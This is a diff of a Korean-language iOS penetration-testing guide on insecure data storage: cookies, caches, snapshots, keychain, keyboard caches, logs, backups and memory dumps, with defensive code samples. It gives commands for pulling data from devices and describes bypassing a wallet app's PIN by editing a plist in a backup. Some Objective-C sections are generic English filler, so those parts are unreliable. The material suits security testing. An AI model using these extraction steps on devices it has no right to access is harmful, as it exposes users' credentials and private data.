Realm 데이터베이스 내에서 암호화를 구현하려면 다음 코드 조각을 사용할 수 있습니다:
|
||||
```swift
|
||||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||||
let config = Realm.Configuration(encryptionKey: getKey())
|
||||
|
@ -496,20 +496,20 @@ let realm = try Realm(configuration: config)
|
|||
fatalError("Error opening realm: \(error)")
|
||||
}
|
||||
```
|
||||
### Couchbase Lite 데이터베이스
|
||||
### Couchbase Lite Databases
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)은 **가벼운** 및 **내장형** 데이터베이스 엔진으로, **문서 지향** (NoSQL) 접근 방식을 따릅니다. **iOS** 및 **macOS**에 네이티브로 설계되어 데이터를 싱크하는 기능을 제공합니다.
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)는 **가벼운** 및 **내장**된 데이터베이스 엔진으로, **문서 지향** (NoSQL) 접근 방식을 따릅니다. **iOS** 및 **macOS**에 네이티브로 설계되어 있으며 데이터를 싱크하는 기능을 제공합니다.
|
||||
|
||||
장치에서 Couchbase 데이터베이스를 식별하려면 다음 디렉토리를 검사해야 합니다:
|
||||
장치에서 Couchbase 데이터베이스의 가능성을 식별하려면 다음 디렉토리를 검사해야 합니다:
|
||||
```bash
|
||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||
```
|
||||
### 쿠키
|
||||
|
||||
iOS는 각 앱 폴더 내의 **`Library/Cookies/cookies.binarycookies`**에 앱의 쿠키를 저장합니다. 그러나 개발자들은 때때로 **백업에서 쿠키 파일에 접근할 수 있기 때문에** 이를 키체인에 저장하기로 결정하기도 합니다.
|
||||
iOS는 각 앱 폴더 내의 **`Library/Cookies/cookies.binarycookies`**에 앱의 쿠키를 저장합니다. 그러나 개발자들은 때때로 **백업에서 액세스할 수 있는** 위 언급된 쿠키 파일 대신 **키체인**에 저장하기로 결정하기도 합니다.
|
||||
|
||||
쿠키 파일을 검사하려면 [**이 파이썬 스크립트**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)를 사용하거나 objection의 **`ios cookies get`**을 사용할 수 있습니다.\
|
||||
또한 objection을 사용하여 이러한 파일을 JSON 형식으로 변환하고 데이터를 검사할 수도 있습니다.
|
||||
**또한 objection을 사용하여** 이러한 파일을 JSON 형식으로 변환하고 데이터를 검사할 수도 있습니다.
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
[
|
||||
|
@ -527,7 +527,7 @@ iOS는 각 앱 폴더 내의 **`Library/Cookies/cookies.binarycookies`**에 앱
|
|||
```
|
||||
### 캐시
|
||||
|
||||
기본적으로 NSURLSession은 **Cache.db** 데이터베이스에 **HTTP 요청 및 응답과 같은 데이터를 저장**합니다. 이 데이터베이스에는 토큰, 사용자 이름 또는 기타 민감한 정보가 캐시된 경우 **민감한 데이터**가 포함될 수 있습니다. 캐시된 정보를 찾으려면 앱의 데이터 디렉토리를 열고 (`/var/mobile/Containers/Data/Application/<UUID>`) `/Library/Caches/<번들 식별자>`로 이동하십시오. **WebKit 캐시도 Cache.db 파일에 저장**됩니다. **Objection**은 `sqlite connect Cache.db` 명령을 사용하여 데이터베이스를 열고 상호 작용할 수 있습니다. 이는 **일반 SQLite 데이터베이스**입니다.
|
||||
기본적으로 NSURLSession은 **HTTP 요청 및 응답을 Cache.db 데이터베이스에 저장**합니다. 이 데이터베이스에는 토큰, 사용자 이름 또는 기타 민감한 정보가 캐시된 경우 **민감한 데이터**가 포함될 수 있습니다. 캐시된 정보를 찾으려면 앱의 데이터 디렉토리(`/var/mobile/Containers/Data/Application/<UUID>`)를 열고 `/Library/Caches/<Bundle Identifier>`로 이동하십시오. **WebKit 캐시도 Cache.db 파일에 저장**됩니다. **Objection**은 `sqlite connect Cache.db` 명령을 사용하여 데이터베이스를 열고 상호 작용할 수 있습니다. 이는 **일반 SQLite 데이터베이스**이기 때문입니다.
|
||||
|
||||
**이 데이터의 캐싱을 비활성화하는 것이 권장**되며, 요청 또는 응답에 민감한 정보가 포함될 수 있습니다. 아래 목록은 이를 달성하는 다양한 방법을 보여줍니다:
|
||||
|
||||
|
@ -540,7 +540,20 @@ iOS는 각 앱 폴더 내의 **`Library/Cookies/cookies.binarycookies`**에 앱
|
|||
|
||||
[Apple 문서](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`임시 세션 구성 객체는 기본 세션 구성(기본값 참조)과 유사하지만 해당 세션 객체는 캐시, 자격 증명 저장소 또는 디스크에 세션 관련 데이터를 저장하지 않습니다. 대신 세션 관련 데이터는 RAM에 저장됩니다. 임시 세
|
||||
`임시 세션 구성 객체는 기본 세션 구성(기본 세션 구성 참조)과 유사하지만 해당 세션 객체는 캐시, 자격 증명 저장소 또는 디스크에 세션 관련 데이터를 저장하지 않습니다. 대신 세션 관련 데이터는 RAM에 저장됩니다. 임시 세션이 데이터를 디스크에 쓰는 유일한 시점은 URL의 내용을 파일에 쓰도록 지시할 때뿐입니다.`
|
||||
3. Cache 정책을 [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)로 설정하여 Cache를 저장하지 않도록 비활성화할 수도 있습니다.
|
||||
|
||||
### 스냅샷
|
||||
|
||||
홈 버튼을 누를 때마다 iOS는 **현재 화면의 스냅샷**을 찍어 애플리케이션으로의 전환을 더 부드럽게 할 수 있습니다. 그러나 현재 화면에 **민감한 데이터**가 있는 경우, 해당 데이터가 **이미지에 저장**되어 **재부팅을 거쳐도 유지**됩니다. 이러한 스냅샷은 앱 간 전환을 위해 홈 화면을 두 번 탭하여 액세스할 수도 있습니다.
|
||||
|
||||
아이폰이 탈옥되지 않은 경우, **공격자**는 이러한 스냅샷을 보려면 **장치의 잠금을 해제**해야 합니다. 기본적으로 마지막 스냅샷은 `Library/Caches/Snapshots/` 또는 `Library/SplashBoard/Snapshots` 폴더에 애플리케이션의 샌드박스에 저장됩니다 (신뢰할 수 있는 컴퓨터는 iOX 7.0부터 파일 시스템에 액세스할 수 없습니다).
|
||||
|
||||
이러한 부정적인 동작을 방지하는 한 가지 방법은 `ApplicationDidEnterBackground()` 함수를 사용하여 스냅샷을 찍기 전에 민감한 데이터를 지우거나 빈 화면을 띄우는 것입니다.
|
||||
|
||||
다음은 기본 스크린샷을 설정하는 샘플 개선 방법입니다.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
private var backgroundImage: UIImageView?
|
||||
|
||||
|
@ -572,7 +585,9 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
|||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
이 코드는 애플리케이션이 백그라운드로 전환될 때 배경 이미지를 `overlayImage.png`로 설정합니다. `overlayImage.png`가 항상 현재 뷰를 덮어쓰기 때문에 민감한 데이터 누출을 방지합니다.
|
||||
### 배경 이미지 설정
|
||||
|
||||
애플리케이션이 백그라운드로 전환될 때 `overlayImage.png`로 배경 이미지를 설정합니다. `overlayImage.png`이 항상 현재 뷰를 덮어씌우기 때문에 민감한 데이터 누출을 방지합니다.
|
||||
|
||||
### 키체인
|
||||
|
||||
|
@ -580,21 +595,21 @@ iOS 키체인에 액세스하고 관리하기 위해 [**Keychain-Dumper**](https
|
|||
|
||||
#### **자격 증명 저장**
|
||||
|
||||
**NSURLCredential** 클래스는 NSUserDefaults나 다른 래퍼를 우회하여 키체인에 직접 민감한 정보를 저장하는 데 이상적입니다. 로그인 후 자격 증명을 저장하려면 다음 Swift 코드를 사용합니다:
|
||||
**NSURLCredential** 클래스는 NSUserDefaults나 다른 래퍼를 우회하여 키체인에 민감한 정보를 직접 저장하는 데 이상적입니다. 로그인 후 자격 증명을 저장하기 위해 다음 Swift 코드를 사용합니다:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||
```
|
||||
## **사용자 지정 키보드 및 키보드 캐시**
|
||||
## **사용자 정의 키보드 및 키보드 캐시**
|
||||
|
||||
iOS 8.0부터 사용자는 **설정 > 일반 > 키보드 > 키보드**에서 관리 가능한 사용자 지정 키보드 확장을 설치할 수 있습니다. 이러한 키보드는 확장된 기능을 제공하지만, 키 입력 로깅 및 외부 서버로 데이터 전송의 위험을 가지며, 사용자에게 네트워크 액세스가 필요한 키보드에 대해 알림이 제공됩니다. 앱은 민감한 정보 입력을 위해 사용자 지정 키보드의 사용을 제한할 수 있습니다.
|
||||
iOS 8.0부터 사용자는 **설정 > 일반 > 키보드 > 키보드**에서 관리 가능한 사용자 정의 키보드 확장을 설치할 수 있습니다. 이러한 키보드는 확장된 기능을 제공하지만, 키 입력 로깅 및 외부 서버로 데이터 전송의 위험을 가지고 있으며, 사용자는 네트워크 액세스가 필요한 키보드에 대해 알림을 받습니다. 앱은 민감한 정보 입력에 대해 사용자 정의 키보드의 사용을 제한할 수 있습니다.
|
||||
|
||||
**보안 권장 사항:**
|
||||
|
||||
* 보안을 강화하기 위해 타사 키보드를 비활성화하는 것이 좋습니다.
|
||||
* iOS 기본 키보드의 자동 수정 및 자동 제안 기능을 주의하십시오. 이 기능은 `Library/Keyboard/{locale}-dynamic-text.dat` 또는 `/private/var/mobile/Library/Keyboard/dynamic-text.dat`에 위치한 캐시 파일에 민감한 정보를 저장할 수 있습니다. 이러한 캐시 파일은 정기적으로 민감한 데이터를 확인해야 합니다. 캐시된 데이터를 지우기 위해 **설정 > 일반 > 재설정 > 키보드 사전 재설정**을 통해 키보드 사전을 재설정하는 것이 권장됩니다.
|
||||
* 네트워크 트래픽을 가로채면 사용자 지정 키보드가 원격으로 키 입력을 전송하는지 확인할 수 있습니다.
|
||||
* 기본 iOS 키보드의 자동 수정 및 자동 제안 기능을 주의하십시오. 이 기능은 `Library/Keyboard/{locale}-dynamic-text.dat` 또는 `/private/var/mobile/Library/Keyboard/dynamic-text.dat`에 위치한 캐시 파일에 민감한 정보를 저장할 수 있습니다. 이러한 캐시 파일은 정기적으로 민감한 데이터를 확인해야 합니다. 캐시된 데이터를 지우기 위해 **설정 > 일반 > 재설정 > 키보드 사전 재설정**을 통해 키보드 사전을 재설정하는 것이 권장됩니다.
|
||||
* 네트워크 트래픽을 가로채면 사용자 정의 키보드가 원격으로 키 입력을 전송하는지 확인할 수 있습니다.
|
||||
|
||||
### **텍스트 필드 캐싱 방지**
|
||||
|
||||
|
@ -610,17 +625,17 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
|||
```
|
||||
## **로그**
|
||||
|
||||
코드 디버깅은 종종 **로그 기록**을 사용합니다. **로그에는 민감한 정보가 포함**될 수 있어 위험이 따릅니다. 이전에는 iOS 6 및 이전 버전에서 **모든 앱이 로그에 액세스**할 수 있어 민감한 데이터 유출 위험이 있었습니다. **현재는 애플리케이션이 자체 로그에만 액세스**할 수 있도록 제한됩니다.
|
||||
디버깅 코드는 종종 **로깅**을 사용합니다. **로그에는 민감한 정보가 포함**될 수 있어 위험이 따릅니다. 이전에는 iOS 6 및 이전 버전에서 **모든 앱이 로그에 액세스**할 수 있어 민감한 데이터 누출 위험이 있었습니다. **지금은 애플리케이션이 자체 로그에만 액세스**할 수 있도록 제한되어 있습니다.
|
||||
|
||||
이러한 제한에도 불구하고, **잠금 해제된 기기에 물리적 액세스** 권한이 있는 공격자는 컴퓨터에 기기를 연결하고 **로그를 읽어내**는 방법을 통해 이를 이용할 수 있습니다. 로그는 앱이 삭제된 후에도 디스크에 남아있음을 주의해야 합니다.
|
||||
이러한 제한에도 불구하고 **잠금 해제된 장치에 물리적 액세스**권한이 있는 공격자는 컴퓨터에 장치를 연결하고 **로그를 읽어내**는 방법을 통해 이를 이용할 수 있습니다. 로그는 앱이 삭제된 후에도 디스크에 남아있음을 주의해야 합니다.
|
||||
|
||||
위험을 완화하기 위해 **앱과 철저히 상호작용**하여, 민감한 정보가 우연히 로깅되지 않도록 모든 기능과 입력을 탐색하는 것이 좋습니다.
|
||||
위험을 완화하기 위해 **앱과 철저히 상호작용**하여 민감한 정보가 우연히 로깅되지 않도록 확인하는 것이 좋습니다.
|
||||
|
||||
잠재적인 유출을 위해 앱의 소스 코드를 검토할 때, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf`와 같은 내장 함수를 위한 **미리 정의된** 및 사용자 정의 로깅 문을 찾고, 사용자 정의 구현에 대한 `Logging` 또는 `Logfile`와 같은 키워드를 찾아야 합니다.
|
||||
잠재적인 누출을 위해 앱의 소스 코드를 검토할 때 `NSLog`, `NSAssert`, `NSCAssert`, `fprintf`와 같은 키워드를 사용하는 **미리 정의된** 및 **사용자 정의 로깅 문장**을 찾아야 하며, 내장 함수에 대한 `Logging` 또는 `Logfile`와 같은 언급을 찾아야 합니다.
|
||||
|
||||
### **시스템 로그 모니터링**
|
||||
|
||||
앱은 민감할 수 있는 다양한 정보를 기록합니다. 이러한 로그를 모니터링하기 위해 다음과 같은 도구 및 명령어를 사용합니다:
|
||||
앱은 민감할 수 있는 다양한 정보를 로깅합니다. 이러한 로그를 모니터링하기 위해 도구 및 명령어를 사용합니다:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
|
@ -638,15 +653,15 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
|||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
로그 활동을 관찰하는 명령어는 문제 진단이나 로그에서 잠재적인 데이터 누출을 식별하는 데 매우 유용할 수 있습니다.
|
||||
로그 활동을 관찰하는 명령어는 문제 진단이나 로그에서 잠재적인 데이터 누출을 식별하는 데 매우 가치가 있을 수 있습니다.
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
지금 액세스하세요:
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -681,19 +696,19 @@ iOS에는 **자동 백업 기능**이 통합되어 있어 iTunes(맥OS 카탈리
|
|||
```
|
||||
### 암호화된 백업 다루기
|
||||
|
||||
[DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts)에서 제공되는 Python 스크립트인 **backup\_tool.py** 및 **backup\_passwd.py**는 최신 iTunes/Finder 버전과 호환성을 위한 조정이 필요할 수 있지만, 암호화된 백업을 다루는 데 유용할 수 있습니다. 비밀번호로 보호된 백업 내의 파일에 액세스하기 위한 또 다른 옵션인 [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)도 있습니다.
|
||||
암호화된 백업을 다루기 위해 [DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts)에서 제공되는 Python 스크립트인 **backup\_tool.py**와 **backup\_passwd.py**가 유용할 수 있지만, 최신 iTunes/Finder 버전과 호환되도록 조정이 필요할 수 있습니다. [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)는 비밀번호로 보호된 백업 내의 파일에 액세스하는 또 다른 옵션입니다.
|
||||
|
||||
### 앱 동작 수정
|
||||
|
||||
백업 수정을 통해 앱 동작을 변경하는 예시는 [Bither 비트코인 지갑 앱](https://github.com/bither/bither-ios)에서 보여집니다. 여기서 UI 잠금 PIN은 **pin\_code** 키 아래의 `net.bither.plist`에 저장됩니다. 이 키를 plist에서 제거하고 백업을 복원하면 PIN 요구 사항이 제거되어 제한 없는 액세스가 제공됩니다.
|
||||
백업 수정을 통해 앱 동작을 변경하는 예시는 [Bither 비트코인 지갑 앱](https://github.com/bither/bither-ios)에서 보여집니다. 여기서 UI 잠금 PIN은 **pin\_code** 키 아래 `net.bither.plist`에 저장됩니다. 이 키를 plist에서 제거하고 백업을 복원하면 PIN 요구 사항이 제거되어 제한 없이 액세스할 수 있습니다.
|
||||
|
||||
## 민감한 데이터에 대한 메모리 테스트 요약
|
||||
|
||||
애플리케이션 메모리에 저장된 민감한 정보를 다룰 때, 이 데이터의 노출 시간을 제한하는 것이 중요합니다. 메모리 내용을 조사하는 두 가지 주요 방법이 있습니다: **메모리 덤프 생성** 및 **실시간으로 메모리 분석**. 덤프 프로세스나 분석 중에 중요한 데이터를 놓칠 수 있는 잠재적인 위험을 포함하여 두 방법에는 각각의 도전 과제가 있습니다.
|
||||
애플리케이션 메모리에 저장된 민감한 정보를 다룰 때, 이 데이터의 노출 시간을 제한하는 것이 중요합니다. 메모리 내용을 조사하는 두 가지 주요 방법은 **메모리 덤프 생성**과 **실시간으로 메모리 분석**입니다. 덤프 프로세스나 분석 중에 중요한 데이터를 놓칠 수 있는 잠재적인 위험이 있습니다.
|
||||
|
||||
## **메모리 덤프 검색 및 분석**
|
||||
|
||||
탈옥된 기기와 탈옥되지 않은 기기 모두에서 [objection](https://github.com/sensepost/objection) 및 [Fridump](https://github.com/Nightbringer21/fridump)와 같은 도구를 사용하여 앱 프로세스 메모리를 덤프할 수 있습니다. 덤프된 후, 이 데이터를 분석하려면 찾고 있는 정보의 성격에 따라 다양한 도구가 필요합니다.
|
||||
탈옥된 기기와 탈옥되지 않은 기기 모두 [objection](https://github.com/sensepost/objection) 및 [Fridump](https://github.com/Nightbringer21/fridump)와 같은 도구를 사용하여 앱 프로세스 메모리를 덤프할 수 있습니다. 덤프된 후, 이 데이터를 분석하려면 찾고 있는 정보의 성격에 따라 다양한 도구가 필요합니다.
|
||||
|
||||
메모리 덤프에서 문자열을 추출하려면 `strings` 또는 `rabin2 -zz`와 같은 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
|
@ -703,7 +718,7 @@ $ strings memory > strings.txt
|
|||
# Extracting strings using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
보다 자세한 분석을 위해 특정 데이터 유형이나 패턴을 검색하는 경우 **radare2**는 광범위한 검색 기능을 제공합니다:
|
||||
더 자세한 분석을 위해 특정 데이터 유형이나 패턴을 검색하는 **radare2**는 광범위한 검색 기능을 제공합니다:
|
||||
```bash
|
||||
$ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
|
@ -711,7 +726,7 @@ $ r2 <name_of_your_dump_file>
|
|||
```
|
||||
## **런타임 메모리 분석**
|
||||
|
||||
**r2frida**는 메모리 덤프가 필요하지 않고 실시간으로 앱의 메모리를 검사하는 강력한 대안을 제공합니다. 이 도구를 사용하면 실행 중인 애플리케이션의 메모리에 직접 검색 명령을 실행할 수 있습니다:
|
||||
**r2frida**는 메모리 덤프가 필요 없이 앱의 메모리를 실시간으로 검사하는 강력한 대안을 제공합니다. 이 도구를 사용하면 실행 중인 애플리케이션의 메모리에 직접 검색 명령을 실행할 수 있습니다:
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
|
@ -720,17 +735,17 @@ $ r2 frida://usb//<name_of_your_app>
|
|||
|
||||
### 열쇠 관리 과정이 부실한 경우
|
||||
|
||||
일부 개발자는 민감한 데이터를 로컬 저장소에 저장하고 코드 내에서 하드코딩/예측 가능한 키로 암호화합니다. 이렇게 하면 공격자가 기밀 정보를 추출할 수 있게 될 수 있으므로 이는 피해야 합니다.
|
||||
일부 개발자는 민감한 데이터를 로컬 저장소에 저장하고 코드 내에서 하드코딩/예측 가능한 키로 암호화합니다. 이렇게 하면 악의적인 공격자가 기밀 정보를 추출할 수 있으므로 이는 피해야 합니다.
|
||||
|
||||
### 안전하지 않거나 사용되지 않는 알고리즘 사용
|
||||
### 안전하지 않거나 더 이상 사용되지 않는 알고리즘 사용
|
||||
|
||||
개발자는 **사용되지 않는 알고리즘**을 사용하여 **인가 확인**, **저장** 또는 **전송** 데이터를 수행해서는 안 됩니다. 이러한 알고리즘 중 일부는 다음과 같습니다: RC4, MD4, MD5, SHA1... 예를 들어 암호를 저장하기 위해 **해시**가 사용된다면, 소금(salt)을 사용하여 해시 브루트 포스 공격에 강한 해시를 사용해야 합니다.
|
||||
개발자는 **사용되지 않는 알고리즘**을 사용하여 **인가 확인**, **저장** 또는 **전송**을 수행해서는 안 됩니다. 이러한 알고리즘 중 일부는 다음과 같습니다: RC4, MD4, MD5, SHA1... 예를 들어 암호를 저장하기 위해 **해시**가 사용된다면, 소금(salt)을 사용하여 해시 브루트 포스 공격에 강한 해시를 사용해야 합니다.
|
||||
|
||||
### 확인
|
||||
|
||||
코드 내에 **하드코딩**된 비밀번호/비밀 정보를 찾을 수 있는지, 그것들이 **예측 가능**한지, 코드가 어떤 종류의 **약한** **암호화** 알고리즘을 사용하는지 확인하는 것이 주요 확인 사항입니다.
|
||||
코드 내에 **하드코딩된** 암호/비밀 정보를 찾을 수 있는지, 그것들이 **예측 가능한지**, 그리고 코드가 어떤 종류의 **약한** **암호화** 알고리즘을 사용하는지 확인하는 주요 확인 사항입니다.
|
||||
|
||||
**objection**를 사용하여 일부 **암호화** **라이브러리**를 자동으로 **모니터링**할 수 있다는 사실을 알아두면 흥미로울 것입니다.
|
||||
**objection**를 사용하여 일부 **암호화 라이브러리**를 자동으로 **모니터링**할 수 있다는 사실을 알아두면 흥미로울 것입니다:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
|
@ -740,33 +755,33 @@ ios monitor crypt
|
|||
|
||||
**로컬 인증**은 특히 원격 엔드포인트에서 암호화 방법을 통해 액세스를 보호할 때 중요한 역할을 합니다. 여기서 중요한 점은 적절한 구현 없이 로컬 인증 메커니즘을 우회할 수 있다는 것입니다.
|
||||
|
||||
애플의 [**로컬 인증 프레임워크**](https://developer.apple.com/documentation/localauthentication) 및 [**키체인**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)은 개발자가 사용자 인증 대화 상자를 용이하게 만들고 비밀 데이터를 안전하게 처리할 수 있도록 강력한 API를 제공합니다. Secure Enclave는 Touch ID의 지문 ID를 안전하게 보호하며 Face ID는 생체 인식을 통해 생체 데이터를 유출하지 않고 안전하게 보호합니다.
|
||||
애플의 [**로컬 인증 프레임워크**](https://developer.apple.com/documentation/localauthentication) 및 [**키체인**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)은 개발자가 사용자 인증 대화 상자를 용이하게 만들고 비밀 데이터를 안전하게 처리할 수 있도록 강력한 API를 제공합니다. Secure Enclave는 Touch ID의 지문 ID를 안전하게 보호하며 Face ID는 생체 인식 데이터를 유지하면서 안전하게 얼굴 인식을 제공합니다.
|
||||
|
||||
Touch ID/Face ID를 통합하려면 개발자는 두 가지 API 선택지가 있습니다:
|
||||
Touch ID/Face ID를 통합하려면 개발자에게 두 가지 API 선택지가 있습니다:
|
||||
|
||||
* **`LocalAuthentication.framework`**: 생체 데이터에 액세스하지 않고 고수준 사용자 인증을 위한 것.
|
||||
* **`Security.framework`**: 생체 인증을 통해 비밀 데이터를 안전하게 보호하고 키체인 서비스에 액세스하는 것. 다양한 [오픈 소스 래퍼](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)가 키체인 액세스를 간단하게 만듭니다.
|
||||
* **`LocalAuthentication.framework`**: 생체 인식 데이터에 액세스하지 않고 고수준 사용자 인증을 위한 것.
|
||||
* **`Security.framework`**: 생체 인증을 통해 비밀 데이터를 안전하게 보호하는 하위 수준 키체인 서비스 액세스. 다양한 [오픈 소스 래퍼](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)가 키체인 액세스를 간단하게 만듭니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
그러나 `LocalAuthentication.framework`와 `Security.framework` 모두 인증 프로세스에 대한 데이터를 전송하지 않고 주로 부울 값만 반환하기 때문에 우회할 수 있는 취약점이 있습니다. (참조: [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
그러나 `LocalAuthentication.framework`와 `Security.framework`는 인증 프로세스에 대한 데이터를 전송하지 않고 주로 부울 값만 반환하기 때문에 우회할 수 있는 취약점이 있습니다. (참조: [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
{% endhint %}
|
||||
|
||||
### 로컬 인증 구현
|
||||
|
||||
사용자에게 인증을 요청하려면 개발자는 **`LAContext`** 클래스 내의 **`evaluatePolicy`** 메서드를 활용해야 하며 다음 중 하나를 선택해야 합니다:
|
||||
사용자에게 인증을 요청하려면 개발자는 **`LAContext`** 클래스 내의 **`evaluatePolicy`** 메서드를 활용해야 합니다. 다음 중 하나를 선택합니다:
|
||||
|
||||
* **`deviceOwnerAuthentication`**: Touch ID 또는 장치 암호를 요청하며 둘 다 활성화되어 있지 않으면 실패합니다.
|
||||
* **`deviceOwnerAuthenticationWithBiometrics`**: 오로지 Touch ID를 요청합니다.
|
||||
|
||||
**`evaluatePolicy`**에서의 부울 반환 값으로 성공적인 인증을 나타내며 잠재적인 보안 결함을 강조합니다.
|
||||
**`evaluatePolicy`**에서 부울 반환 값을 통해 성공적인 인증을 나타내며 잠재적인 보안 결함을 강조합니다.
|
||||
|
||||
### 키체인을 사용한 로컬 인증
|
||||
|
||||
iOS 앱에서 **로컬 인증**을 구현하려면 **키체인 API**를 사용하여 인증 토큰과 같은 비밀 데이터를 안전하게 저장해야 합니다. 이 프로세스를 통해 데이터는 사용자가 자신의 장치 암호 또는 Touch ID와 같은 생체 인증을 사용하여만 액세스할 수 있도록 보장됩니다.
|
||||
iOS 앱에서 **로컬 인증**을 구현하려면 **키체인 API**를 사용하여 인증 토큰과 같은 비밀 데이터를 안전하게 저장해야 합니다. 이 프로세스는 데이터가 사용자에 의해서만 액세스되고, 장치 암호 또는 Touch ID와 같은 생체 인증을 사용하여 액세스되도록 보장합니다.
|
||||
|
||||
키체인은 `SecAccessControl` 속성을 사용하여 항목을 설정할 수 있는 기능을 제공하며, 이는 사용자가 Touch ID 또는 장치 암호를 통해 성공적으로 인증할 때까지 항목에 대한 액세스를 제한합니다. 이 기능은 보안을 강화하는 데 중요합니다.
|
||||
|
||||
아래는 Swift 및 Objective-C에서 문자열을 키체인에 저장하고 검색하는 방법을 보여주는 코드 예제이며, 이러한 보안 기능을 활용하여 Touch ID 인증이 필요하도록 액세스 제어를 설정하고 데이터가 구성된 장치에서만 액세스 가능하도록 보장합니다.
|
||||
아래는 Swift 및 Objective-C에서 문자열을 키체인에 저장하고 검색하는 방법을 보여주는 코드 예제입니다. 이러한 보안 기능을 활용하여 Touch ID 인증이 필요하도록 액세스 제어를 설정하고, 장치 암호가 구성된 경우에만 데이터가 설정된 장치에서만 액세스 가능하도록 합니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Swift" %}
|
||||
|
@ -810,7 +825,27 @@ if status == noErr {
|
|||
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
iOS 애플리케이션을 해킹하거나 취약점을 찾기 위해 Objective-C 코드를 분석하는 것은 매우 중요합니다. Objective-C 코드를 이해하면 애플리케이션의 동작 방식을 파악할 수 있고, 보안 취약점을 식별할 수 있습니다. Objective-C 코드를 분석하여 iOS 애플리케이션의 보안을 강화하는 데 도움이 됩니다.
|
||||
## Objective-C
|
||||
|
||||
### Setting up the environment
|
||||
|
||||
To start iOS pentesting, you need a macOS machine with Xcode installed. Xcode is the official IDE for developing iOS applications and comes with a built-in iOS simulator. You can download Xcode from the App Store.
|
||||
|
||||
### Understanding Objective-C
|
||||
|
||||
Objective-C is the primary language used for iOS app development before the introduction of Swift. It is a superset of the C programming language and provides object-oriented capabilities and a dynamic runtime. Understanding Objective-C syntax and features is essential for analyzing and manipulating iOS applications effectively.
|
||||
|
||||
### Tools for Objective-C Analysis
|
||||
|
||||
There are various tools available for analyzing Objective-C code, such as class-dump, otool, and Hopper Disassembler. These tools can help you reverse engineer iOS applications, extract class information, and understand the application's behavior.
|
||||
|
||||
### Common Objective-C Vulnerabilities
|
||||
|
||||
Some common vulnerabilities found in Objective-C code include buffer overflows, format string vulnerabilities, and memory management issues. By understanding these vulnerabilities, you can identify security weaknesses in iOS applications and recommend appropriate remediation measures.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Objective-C remains a crucial language for iOS pentesting due to its prevalence in legacy iOS applications. By mastering Objective-C analysis techniques and tools, you can effectively assess the security posture of iOS applications and uncover potential vulnerabilities.
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
|
@ -868,46 +903,37 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Objective-C" %}
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
## iOS Application Pentesting
|
||||
|
||||
### Setting up the Environment
|
||||
|
||||
To perform security testing on iOS applications, you need a macOS system with Xcode installed. Xcode is the official IDE for developing iOS applications and includes all the necessary tools for iOS app pentesting.
|
||||
To perform iOS application pentesting, you need a macOS system with Xcode installed. Xcode is the official IDE for developing iOS applications and comes with various tools necessary for pentesting.
|
||||
|
